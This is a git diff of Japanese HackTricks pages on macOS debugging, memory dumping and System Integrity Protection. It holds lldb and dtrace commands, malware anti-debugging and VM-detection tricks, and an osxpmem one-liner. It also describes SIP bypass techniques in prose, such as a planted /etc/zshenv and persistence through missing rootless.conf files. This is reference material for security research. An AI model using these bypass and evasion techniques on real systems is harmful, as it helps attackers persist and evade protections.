-さらに、**中央下部ではPythonコマンドを入力することができます**。 +さらに、**中央下部ではPythonコマンドを入力できます**。 #### 右パネル -右パネルでは、**ナビゲーション履歴**(現在の状況にどのように到達したかを知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**と、この関数が呼び出すすべての関数を見ることができます)、および**ローカル変数**の情報など、興味深い情報を見ることができます。 +右パネルでは、**ナビゲーション履歴**(現在の状況にどのように到達したかを知るため)、**コールグラフ**(この関数を呼び出すすべての**関数**とこの関数が呼び出すすべての関数を見ることができる)、および**ローカル変数**の情報などの興味深い情報を見ることができます。 ### dtrace @@ -303,7 +290,7 @@ DTraceは、各システムコールのプローブを作成するために**`dt {% hint style="success" %} SIP保護を完全に無効にせずにDtraceを有効にするには、リカバリモードで次のコマンドを実行できます:`csrutil enable --without dtrace` -また、**`dtrace`**または**`dtruss`**バイナリを**自分でコンパイルした**ものを使用することもできます。 +また、**`dtrace`**または**`dtruss`**バイナリを**コンパイルした**ものを使用することもできます。 {% endhint %} dtraceの利用可能なプローブは次のコマンドで取得できます: @@ -378,7 +365,7 @@ dtruss -c -p 1000 #get syscalls of PID 1000 これはカーネルトレース機能です。文書化されたコードは **`/usr/share/misc/trace.codes`** にあります。 -`latency`、`sc_usage`、`fs_usage`、および `trace` のようなツールは内部でこれを使用します。 +`latency`、`sc_usage`、`fs_usage`、および `trace` などのツールは内部でこれを使用します。 `kdebug` とインターフェースするために、`sysctl` が `kern.kdebug` 名前空間を介して使用され、使用する MIB は `bsd/kern/kdebug.c` に実装された関数を持つ `sys/sysctl.h` にあります。 @@ -439,7 +426,7 @@ Kperf には sysctl MIB テーブルもあります:(root として)`sysct ### Apple Instruments -[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) は、アプリケーションのパフォーマンスを監視し、メモリリークを特定し、ファイルシステムのアクティビティを追跡するために使用される Xcode の開発者ツールの一部です。 +[**Apple Instruments**](https://developer.apple.com/library/archive/documentation/Performance/Conceptual/CellularBestPractices/Appendix/Appendix.html) は Xcode の開発者ツールの一部で、アプリケーションのパフォーマンスを監視し、メモリリークを特定し、ファイルシステムのアクティビティを追跡するために使用されます。 ![](<../../../.gitbook/assets/image (1138).png>) @@ -457,7 +444,7 @@ fs_usage -w -f network curl #This tracks network actions ## PT\_DENY\_ATTACH -[**このブログ記事**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) では、SIP が無効になっていてもデバッグを防ぐために **`PT_DENY_ATTACH`** を使用した **実行中のデーモンをデバッグする** 方法の例を見つけることができます。 +[**このブログ記事**](https://knight.sc/debugging/2019/06/03/debugging-apple-binaries-that-use-pt-deny-attach.html) では、SIP が無効になっていてもデバッグを防ぐために **`PT_DENY_ATTACH`** を使用した **実行中のデーモン** を **デバッグ** する方法の例を見つけることができます。 ### lldb @@ -479,7 +466,7 @@ lldb内で、`process save-core`を使用してプロセスをダンプします
(lldb) コマンド説明
run (r)実行を開始し、ブレークポイントがヒットするかプロセスが終了するまで継続します。
process launch --stop-at-entryエントリポイントで停止する実行を開始します
continue (c)デバッグ中のプロセスの実行を続けます。
nexti (n / ni)次の命令を実行します。このコマンドは関数呼び出しをスキップします。
stepi (s / si)次の命令を実行します。nextiコマンドとは異なり、このコマンドは関数呼び出しに入ります。
finish (f)現在の関数(“フレーム”)内の残りの命令を実行し、戻って停止します。
control + c実行を一時停止します。プロセスが実行(r)または続行(c)されている場合、これはプロセスを現在実行中の場所で停止させます。
breakpoint (b)

b main #mainと呼ばれる任意の関数

b <binname>`main #バイナリのメイン関数

b set -n main --shlib <lib_name> #指定されたバイナリのメイン関数

breakpoint set -r '\[NSFileManager .*\]$' #任意のNSFileManagerメソッド

breakpoint set -r '\[NSFileManager contentsOfDirectoryAtPath:.*\]$'

break set -r . -s libobjc.A.dylib #そのライブラリのすべての関数でブレーク

b -a 0x0000000100004bd9

br l #ブレークポイントリスト

br e/dis <num> #ブレークポイントを有効/無効にする

breakpoint delete <num>

help

help breakpoint #ブレークポイントコマンドのヘルプを取得

help memory write #メモリへの書き込みのヘルプを取得

reg

reg read

reg read $rax

reg read $rax --format <format>

reg write $rip 0x100035cc0

x/s <reg/memory address>メモリをヌル終端の文字列として表示します。
x/i <reg/memory address>メモリをアセンブリ命令として表示します。
x/b <reg/memory address>メモリをバイトとして表示します。
print object (po)

これは、パラメータで参照されるオブジェクトを印刷します

po $raw

{

dnsChanger = {

"affiliate" = "";

"blacklist_dns" = ();

AppleのObjective-C APIやメソッドのほとんどはオブジェクトを返すため、"print object" (po) コマンドを介して表示する必要があります。poが意味のある出力を生成しない場合は、x/bを使用してください。

memorymemory read 0x000....
memory read $x0+0xf2a
memory write 0x100600000 -s 4 0x41414141 #そのアドレスにAAAAを書き込みます
memory write -f s $rip+0x11f+7 "AAAA" #そのアドレスにAAAAを書き込みます
disassembly

dis #現在の関数を逆アセンブル

dis -n <funcname> #関数を逆アセンブル

dis -n <funcname> -b <basename> #関数を逆アセンブル
dis -c 6 #6行を逆アセンブル
dis -c 0x100003764 -e 0x100003768 #1つのアドレスから別のアドレスまで
dis -p -c 4 #現在のアドレスから逆アセンブルを開始

parrayparray 3 (char **)$x1 # x1レジスタの3コンポーネントの配列を確認
image dump sections現在のプロセスメモリのマップを印刷します
image dump symtab <library>image dump symtab CoreNLP #CoreNLPのすべてのシンボルのアドレスを取得
{% hint style="info" %} -**`objc_sendMsg`**関数を呼び出すと、**rsi**レジスタには**メソッドの名前**がヌル終端の(“C”)文字列として格納されます。lldbを介して名前を印刷するには、次のようにします: +**`objc_sendMsg`**関数を呼び出すと、**rsi**レジスタにはヌル終端の(“C”)文字列として**メソッドの名前**が保持されます。lldbを介して名前を印刷するには、次のようにします: `(lldb) x/s $rsi: 0x1000f1576: "startMiningWithPort:password:coreCount:slowMemory:currency:"` @@ -493,12 +480,12 @@ lldb内で、`process save-core`を使用してプロセスをダンプします #### VM検出 -* コマンド**`sysctl hw.model`**は、**ホストがMacOSの場合**は"Mac"を返しますが、VMの場合は異なる値を返します。 +* コマンド**`sysctl hw.model`**は、**ホストがMacOSの場合**は"Mac"を返しますが、VMの場合は異なるものを返します。 * **`hw.logicalcpu`**と**`hw.physicalcpu`**の値を操作することで、一部のマルウェアはVMかどうかを検出しようとします。 * 一部のマルウェアは、MACアドレス(00:50:56)に基づいて**VMware**であるかどうかを**検出**することもできます。 * 簡単なコードを使用して、**プロセスがデバッグされているかどうか**を確認することも可能です: * `if(P_TRACED == (info.kp_proc.p_flag & P_TRACED)){ //プロセスがデバッグされています }` -* **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグで呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを防ぎます。 +* **`ptrace`**システムコールを**`PT_DENY_ATTACH`**フラグで呼び出すこともできます。これにより、デバッガがアタッチしてトレースするのを**防ぎます**。 * **`sysctl`**または**`ptrace`**関数が**インポートされているかどうか**を確認できます(ただし、マルウェアは動的にインポートする可能性があります)。 * この書き込みで指摘されているように、「[デバッグ防止技術の克服:macOS ptraceバリアント](https://alexomara.com/blog/defeating-anti-debug-techniques-macos-ptrace-variants/)」:\ “_メッセージProcess # exited with **status = 45 (0x0000002d)**は、デバッグ対象が**PT\_DENY\_ATTACH**を使用していることを示す兆候です_” @@ -509,7 +496,7 @@ lldb内で、`process save-core`を使用してプロセスをダンプします * `kern.coredump` sysctlが1に設定されている(デフォルト) * プロセスがsuid/sgidでない場合、または`kern.sugid_coredump`が1である(デフォルトは0) -* `AS_CORE`制限が操作を許可します。`ulimit -c 0`を呼び出すことでコアダンプの作成を抑制でき、`ulimit -c unlimited`で再度有効にできます。 +* `AS_CORE`制限が操作を許可します。`ulimit -c 0`を呼び出すことでコードダンプの作成を抑制でき、`ulimit -c unlimited`で再度有効にできます。 これらのケースでは、コアダンプは`kern.corefile` sysctlに従って生成され、通常は`/cores/core/.%P`に保存されます。 @@ -519,7 +506,7 @@ lldb内で、`process save-core`を使用してプロセスをダンプします ReportCrashは**クラッシュしたプロセスを分析し、クラッシュレポートをディスクに保存します**。クラッシュレポートには、**開発者がクラッシュの原因を診断するのに役立つ情報**が含まれています。\ ユーザーごとのlaunchdコンテキストで**実行されているアプリケーションや他のプロセス**の場合、ReportCrashはLaunchAgentとして実行され、ユーザーの`~/Library/Logs/DiagnosticReports/`にクラッシュレポートを保存します。\ -デーモン、システムlaunchdコンテキストで**実行されている他のプロセス**および他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、システムの`/Library/Logs/DiagnosticReports`にクラッシュレポートを保存します。 +デーモンや、システムlaunchdコンテキストで**実行されている他のプロセス**、および他の特権プロセスの場合、ReportCrashはLaunchDaemonとして実行され、システムの`/Library/Logs/DiagnosticReports`にクラッシュレポートを保存します。 クラッシュレポートが**Appleに送信されることを心配している場合**は、それを無効にできます。そうでない場合、クラッシュレポートは**サーバーがどのようにクラッシュしたかを把握するのに役立ちます**。 ```bash @@ -552,7 +539,7 @@ sudo launchctl load -w /System/Library/LaunchDaemons/ssh.plist ``` ### Internal Handlers -**次のページを確認してください** どのアプリが **指定されたスキームまたはプロトコルを処理しているかを見つける方法:** +**次のページを確認してください** どのアプリが **指定されたスキームまたはプロトコルを処理しているかを見つける方法を知るために:** {% content-ref url="../macos-file-extension-apps.md" %} [macos-file-extension-apps.md](../macos-file-extension-apps.md) @@ -589,7 +576,7 @@ CLIツールに対応しています。 macOS GUIツールで「**そのまま動作します**」。いくつかのmacOSアプリには、ユニークなファイル名、正しい拡張子、サンドボックスからファイルを読み取る必要があるなど、特定の要件があります(`~/Library/Containers/com.apple.Safari/Data`)... -いくつかの例: +いくつかの例: {% code overflow="wrap" %} ```bash @@ -617,43 +604,31 @@ litefuzz -s -a tcp://localhost:5900 -i input/screenshared-session --reportcrash ``` {% endcode %} -### More Fuzzing MacOS Info +### より多くのFuzzing MacOS情報 * [https://www.youtube.com/watch?v=T5xfL9tEg44](https://www.youtube.com/watch?v=T5xfL9tEg44) * [https://github.com/bnagy/slides/blob/master/OSXScale.pdf](https://github.com/bnagy/slides/blob/master/OSXScale.pdf) * [https://github.com/bnagy/francis/tree/master/exploitaben](https://github.com/bnagy/francis/tree/master/exploitaben) * [https://github.com/ant4g0nist/crashwrangler](https://github.com/ant4g0nist/crashwrangler) -## References +## 参考文献 -* [**OS X Incident Response: Scripting and Analysis**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) +* [**OS Xインシデントレスポンス:スクリプティングと分析**](https://www.amazon.com/OS-Incident-Response-Scripting-Analysis-ebook/dp/B01FHOHHVS) * [**https://www.youtube.com/watch?v=T5xfL9tEg44**](https://www.youtube.com/watch?v=T5xfL9tEg44) * [**https://taomm.org/vol1/analysis.html**](https://taomm.org/vol1/analysis.html) -* [**The Art of Mac Malware: The Guide to Analyzing Malicious Software**](https://taomm.org/) - -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **スティーラーマルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。 - -WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料** でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} +* [**Macマルウェアの技術:悪意のあるソフトウェアを分析するためのガイド**](https://taomm.org/) {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、練習する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、練習する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +HackTricksをサポートする -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してください。**
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md index d6c34f6e0..4b79d7e85 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-files-folders-and-binaries/macos-memory-dumping.md @@ -1,57 +1,44 @@ -# macOSメモリーダンピング +# macOS メモリダンプ {% hint style="success" %} -AWSハッキングの学習と練習:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と練習: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksをサポート +Support HackTricks -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出してハッキングテクニックを共有してください。 +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックして、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** - -## メモリーアーティファクト +## メモリアーティファクト ### スワップファイル -`/private/var/vm/swapfile0`などのスワップファイルは、物理メモリがいっぱいのときに**キャッシュとして機能**します。物理メモリにもう余裕がない場合、そのデータはスワップファイルに転送され、必要に応じて物理メモリに戻されます。swapfile0、swapfile1などの名前の複数のスワップファイルが存在する可能性があります。 +スワップファイル(例:`/private/var/vm/swapfile0`)は、**物理メモリが満杯のときのキャッシュとして機能します**。物理メモリに空きがなくなると、そのデータはスワップファイルに転送され、必要に応じて物理メモリに戻されます。スワップファイルは複数存在する可能性があり、名前はswapfile0、swapfile1などとなります。 -### ハイバネーションイメージ +### ハイバネートイメージ -`/private/var/vm/sleepimage`にあるファイルは、**ハイバネーションモード**中に重要です。OS Xが休止状態に入るとき、**メモリからのデータはこのファイルに保存**されます。コンピューターを起動すると、システムはこのファイルからメモリデータを取得して、ユーザーが前回終了したところから続行できるようにします。 +`/private/var/vm/sleepimage`にあるファイルは、**ハイバネーションモード**の際に重要です。**OS Xがハイバネートするとき、メモリのデータはこのファイルに保存されます**。コンピュータが復帰すると、システムはこのファイルからメモリデータを取得し、ユーザーは前回の作業を続けることができます。 -現代のMacOSシステムでは、セキュリティ上の理由からこのファイルが通常暗号化されているため、回復が難しいことに注意してください。 +現代のMacOSシステムでは、このファイルは通常、セキュリティ上の理由から暗号化されており、復元が難しいことに注意が必要です。 * sleepimageの暗号化が有効かどうかを確認するには、`sysctl vm.swapusage`コマンドを実行します。これにより、ファイルが暗号化されているかどうかが表示されます。 -### メモリープレッシャーログ +### メモリプレッシャーログ -MacOSシステムにおけるもう1つの重要なメモリ関連ファイルは**メモリープレッシャーログ**です。これらのログは`/var/log`にあり、システムのメモリ使用状況やプレッシャーイベントに関する詳細な情報を含んでいます。これらは、メモリ関連の問題の診断やシステムが時間の経過とともにメモリをどのように管理しているかを理解するのに特に役立ちます。 +MacOSシステムにおけるもう一つの重要なメモリ関連ファイルは、**メモリプレッシャーログ**です。これらのログは`/var/log`にあり、システムのメモリ使用状況やプレッシャーイベントに関する詳細情報を含んでいます。メモリ関連の問題を診断したり、システムが時間の経過とともにメモリをどのように管理しているかを理解するのに特に役立ちます。 -## osxpmemを使用したメモリーダンプ +## osxpmemを使用したメモリダンプ -MacOSマシンでメモリをダンプするためには、[**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)を使用できます。 +MacOSマシンのメモリをダンプするには、[**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip)を使用できます。 -**注意**: 以下の手順は、Intelアーキテクチャを持つMacにのみ適用されます。このツールは現在アーカイブされており、最後のリリースは2017年に行われました。以下の手順でダウンロードしたバイナリは、Apple Siliconが2017年には存在しなかったため、Intelチップをターゲットにしています。arm64アーキテクチャ向けにバイナリをコンパイルすることも可能かもしれませんが、自分で試してみる必要があります。 +**注意**:以下の手順は、IntelアーキテクチャのMacにのみ適用されます。このツールは現在アーカイブされており、最後のリリースは2017年でした。以下の手順でダウンロードしたバイナリは、2017年にはApple Siliconが存在しなかったため、Intelチップを対象としています。arm64アーキテクチャ用にバイナリをコンパイルすることが可能かもしれませんが、自分で試す必要があります。 ```bash #Dump raw format sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem @@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem #Dump aff4 format sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4 ``` -もし次のエラーが見つかった場合:`osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` 以下の手順で修正できます: +もしこのエラーが表示された場合: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` 修正するには次のようにします: ```bash sudo cp -r osxpmem.app/MacPmem.kext "/tmp/" sudo kextutil "/tmp/MacPmem.kext" #Allow the kext in "Security & Privacy --> General" sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem ``` -**その他のエラー**は、「セキュリティとプライバシー --> 一般」で**kextの読み込みを許可**することで修正できるかもしれません。単に**許可**してください。 +**他のエラー**は、「セキュリティとプライバシー --> 一般」で**kextの読み込みを許可する**ことで修正できるかもしれません。**許可してください**。 -また、次の**ワンライナー**を使用してアプリケーションをダウンロードし、kextをロードしてメモリをダンプすることもできます: +この**ワンライナー**を使用して、アプリケーションをダウンロードし、kextを読み込み、メモリをダンプすることもできます: {% code overflow="wrap" %} ```bash @@ -77,29 +64,18 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem- ``` {% endcode %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を活用した検索エンジンで、企業やその顧客が**盗難マルウェア**によって**侵害**されていないかをチェックする**無料**の機能を提供しています。 - -WhiteIntelの主な目標は、情報窃取マルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -AWSハッキングの学習と実践:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングの学習と実践:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricksのサポート +HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェック! -* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**してください。 -* **HackTricks**と**HackTricks Cloud**のgithubリポジトリにPRを提出して、ハッキングトリックを共有してください。 +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。** +* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
{% endhint %} diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md index 072cdb091..2b6b80fc8 100644 --- a/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md +++ b/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sip.md @@ -15,30 +15,17 @@ Learn & practice GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。 - -WhiteIntelの主な目的は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。 - -彼らのウェブサイトをチェックし、**無料**でエンジンを試すことができます: - -{% embed url="https://whiteintel.io" %} - -*** ## **基本情報** -macOSの**システム整合性保護(SIP)**は、最も特権のあるユーザーでさえも重要なシステムフォルダーに対して不正な変更を行うことを防ぐために設計されたメカニズムです。この機能は、保護された領域でのファイルの追加、変更、削除などのアクションを制限することにより、システムの整合性を維持する上で重要な役割を果たします。SIPによって保護されている主なフォルダーは次のとおりです: +**システム整合性保護 (SIP)** は、macOSにおいて、最も特権のあるユーザーでさえも重要なシステムフォルダーに対して不正な変更を行うことを防ぐために設計されたメカニズムです。この機能は、保護された領域内のファイルを追加、変更、または削除する行動を制限することによって、システムの整合性を維持する上で重要な役割を果たします。SIPによって保護されている主なフォルダーは以下の通りです: * **/System** * **/bin** * **/sbin** * **/usr** -SIPの動作を規定するルールは、**`/System/Library/Sandbox/rootless.conf`**にある設定ファイルで定義されています。このファイル内では、アスタリスク(\*)で始まるパスは、厳格なSIP制限の例外として示されています。 +SIPの動作を規定するルールは、**`/System/Library/Sandbox/rootless.conf`** にある設定ファイルで定義されています。このファイル内では、アスタリスク(\*)で始まるパスは、厳格なSIP制限の例外として示されています。 以下の例を考えてみてください: ```javascript @@ -47,16 +34,16 @@ SIPの動作を規定するルールは、**`/System/Library/Sandbox/rootless.co * /usr/local * /usr/share/man ``` -このスニペットは、SIPが一般的に**`/usr`**ディレクトリを保護している一方で、特定のサブディレクトリ(`/usr/libexec/cups`、`/usr/local`、および`/usr/share/man`)では修正が許可されていることを示しています。これは、パスの前にアスタリスク(\*)が付いていることからわかります。 +このスニペットは、SIPが一般的に**`/usr`**ディレクトリを保護している一方で、特定のサブディレクトリ(`/usr/libexec/cups`、`/usr/local`、および`/usr/share/man`)では修正が許可されていることを示しています。これは、それらのパスの前にアスタリスク(\*)があることによって示されています。 -ディレクトリまたはファイルがSIPによって保護されているかどうかを確認するには、**`ls -lOd`**コマンドを使用して、**`restricted`**または**`sunlnk`**フラグの存在を確認できます。例えば: +ディレクトリまたはファイルがSIPによって保護されているかどうかを確認するには、**`ls -lOd`**コマンドを使用して**`restricted`**または**`sunlnk`**フラグの存在を確認できます。例えば: ```bash ls -lOd /usr/libexec/cups drwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups ``` この場合、**`sunlnk`** フラグは `/usr/libexec/cups` ディレクトリ自体が **削除できない** ことを示していますが、その中のファイルは作成、変更、または削除できます。 -一方: +一方: ```bash ls -lOd /usr/libexec drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec @@ -67,12 +54,12 @@ drwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec **SIP は他のルートアクションも制限します** 例えば: -* 信頼されていないカーネル拡張の読み込み +* 信頼できないカーネル拡張の読み込み * Apple 署名プロセスのタスクポートの取得 * NVRAM 変数の変更 * カーネルデバッグの許可 -オプションはビットフラグとして nvram 変数に保持されます(Intel では `csr-active-config`、ARM ではブートされたデバイステーブルから `lp-sip0` が読み取られます)。フラグは `csr.sh` の XNU ソースコードで見つけることができます: +オプションはビットフラグとして nvram 変数に保持されます(Intel では `csr-active-config`、ARM ではブートされたデバイステーブルから `lp-sip0` が読み取られます)。フラグは `csr.sh` の XNU ソースコード内で見つけることができます:
@@ -90,35 +77,35 @@ SIPを有効のままにしてデバッグ保護を削除したい場合は、 ```bash csrutil enable --without debug ``` -### その他の制限 +### Other Restrictions -* **署名されていないカーネル拡張の読み込みを禁止**(kexts)、検証された拡張のみがシステムカーネルと相互作用することを保証します。 +* **署名されていないカーネル拡張の読み込みを禁止** (kexts) し、検証された拡張のみがシステムカーネルと相互作用することを保証します。 * **macOSシステムプロセスのデバッグを防止**し、コアシステムコンポーネントを不正アクセスや変更から保護します。 * **dtraceのようなツールを抑制**し、システムの動作の完全性をさらに保護します。 [**このトークでSIP情報についてもっと学ぶ**](https://www.slideshare.net/i0n1c/syscan360-stefan-esser-os-x-el-capitan-sinking-the-ship)**.** -## SIPバイパス +## SIP Bypasses SIPをバイパスすることで攻撃者は: * **ユーザーデータにアクセス**: すべてのユーザーアカウントからメール、メッセージ、Safariの履歴などの機密ユーザーデータを読み取ることができます。 -* **TCCバイパス**: TCC(Transparency, Consent, and Control)データベースを直接操作し、ウェブカメラ、マイク、その他のリソースへの不正アクセスを許可します。 -* **持続性を確立**: SIP保護された場所にマルウェアを配置し、ルート権限による削除に対して抵抗力を持たせます。これには、マルウェア除去ツール(MRT)を改ざんする可能性も含まれます。 +* **TCCバイパス**: TCC (Transparency, Consent, and Control) データベースを直接操作し、ウェブカメラ、マイク、その他のリソースへの不正アクセスを許可します。 +* **持続性を確立**: SIP保護された場所にマルウェアを配置し、ルート権限による削除に対して抵抗力を持たせます。これには、マルウェア除去ツール (MRT) を改ざんする可能性も含まれます。 * **カーネル拡張を読み込む**: 追加の保護があるにもかかわらず、SIPをバイパスすることで署名されていないカーネル拡張の読み込みが簡素化されます。 -### インストーラーパッケージ +### Installer Packages **Appleの証明書で署名されたインストーラーパッケージ**は、その保護をバイパスできます。これは、標準の開発者によって署名されたパッケージであっても、SIP保護されたディレクトリを変更しようとするとブロックされることを意味します。 -### 存在しないSIPファイル +### Inexistent SIP file -1つの潜在的な抜け穴は、**`rootless.conf`にファイルが指定されているが現在存在しない場合**、それを作成できることです。マルウェアはこれを利用して**システム上で持続性を確立**する可能性があります。たとえば、悪意のあるプログラムは、`rootless.conf`にリストされているが存在しない場合、`/System/Library/LaunchDaemons`に.plistファイルを作成することができます。 +1つの潜在的な抜け穴は、**`rootless.conf`に指定されたファイルが現在存在しない場合**、それを作成できることです。マルウェアはこれを利用して**システム上で持続性を確立**する可能性があります。たとえば、悪意のあるプログラムが`rootless.conf`にリストされているが存在しない場合、`/System/Library/LaunchDaemons`に.plistファイルを作成することができます。 ### com.apple.rootless.install.heritable {% hint style="danger" %} -権限**`com.apple.rootless.install.heritable`**はSIPをバイパスすることを許可します +権限 **`com.apple.rootless.install.heritable`** はSIPをバイパスすることを許可します {% endhint %} #### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) @@ -135,15 +122,15 @@ SIPをバイパスすることで攻撃者は: **`system_installd`**デーモンは**Apple**によって署名されたパッケージをインストールします。 -研究者たちは、Apple署名のパッケージ(.pkgファイル)のインストール中に、**`system_installd`**がパッケージに含まれる**post-install**スクリプトを**実行**することを発見しました。これらのスクリプトはデフォルトのシェルである**`zsh`**によって実行され、存在する場合は非対話モードでも**`/etc/zshenv`**ファイルからコマンドを自動的に**実行**します。この動作は攻撃者によって悪用される可能性があります:悪意のある`/etc/zshenv`ファイルを作成し、**`system_installd`が`zsh`を呼び出すのを待つことで**、デバイス上で任意の操作を実行できます。 